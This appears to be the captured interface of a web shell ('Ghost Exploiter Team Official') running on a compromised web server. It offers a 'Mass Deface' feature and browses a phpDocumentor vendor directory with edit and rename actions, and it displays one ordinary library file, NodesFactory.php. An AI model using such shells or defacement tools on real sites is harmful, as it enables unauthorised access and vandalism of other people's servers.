Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
phpdocumentor
/
reflection
/
src
/
phpDocumentor
/
Reflection
/
Php
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
Expression
--
ren
Factory
--
ren
ValueEvaluator
--
ren
Argument.php
2.532KB
edt
ren
AsymmetricVisibility.php
0.528KB
edt
ren
Attribute.php
0.683KB
edt
ren
AttributeContainer.php
0.239KB
edt
ren
CallArgument.php
0.451KB
edt
ren
Class_.php
5.524KB
edt
ren
Constant.php
3.146KB
edt
ren
EnumCase.php
2.468KB
edt
ren
Enum_.php
4.029KB
edt
ren
Expression.php
5.959KB
edt
ren
File.php
5.117KB
edt
ren
Function_.php
3.065KB
edt
ren
HasAttributes.php
0.39KB
edt
ren
Interface_.php
3.109KB
edt
ren
MetadataContainer.php
1.052KB
edt
ren
Method.php
4.451KB
edt
ren
Namespace_.php
3.538KB
edt
ren
NodesFactory.php
1.946KB
edt
ren
Project.php
2.122KB
edt
ren
ProjectFactory.php
7.448KB
edt
ren
ProjectFactoryStrategie
...
1.854KB
edt
ren
ProjectFactoryStrategy.php
1.361KB
edt
ren
Property.php
4.522KB
edt
ren
PropertyHook.php
2.085KB
edt
ren
StrategyContainer.php
0.682KB
edt
ren
Trait_.php
3.732KB
edt
ren
Visibility.php
1.63KB
edt
ren
<?php declare(strict_types=1); /** * This file is part of phpDocumentor. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. * * @link http://phpdoc.org */ namespace phpDocumentor\Reflection\Php; use phpDocumentor\Reflection\NodeVisitor\ElementNameResolver; use PhpParser\Node; use PhpParser\NodeTraverser; use PhpParser\NodeTraverserInterface; use PhpParser\NodeVisitor\NameResolver; use PhpParser\Parser; use PhpParser\ParserFactory; use Webmozart\Assert\Assert; /** * Factory to create a array of nodes from a provided file. * * This factory will use PhpParser and NodeTraverser to do the real processing. */ class NodesFactory { /** * @param Parser $parser used to parse the code * @param NodeTraverserInterface $traverser used to do some post processing on the nodes */ final public function __construct(private readonly Parser $parser, private readonly NodeTraverserInterface $traverser) { } /** * Creates a new instance of NodeFactory with default Parser ands Traverser. * * @param int $kind One of ParserFactory::PREFER_PHP7, * ParserFactory::PREFER_PHP5, ParserFactory::ONLY_PHP7 or ParserFactory::ONLY_PHP5 * * @return static */ public static function createInstance(int $kind = 1): self { $parser = (new ParserFactory())->createForNewestSupportedVersion(); $traverser = new NodeTraverser(); $traverser->addVisitor(new NameResolver()); $traverser->addVisitor(new ElementNameResolver()); return new static($parser, $traverser); } /** * Will convert the provided code to nodes. * * @param string $code code to process. * * @return Node[] */ public function create(string $code): array { $nodes = $this->parser->parse($code); Assert::isArray($nodes); return $this->traverser->traverse($nodes); } }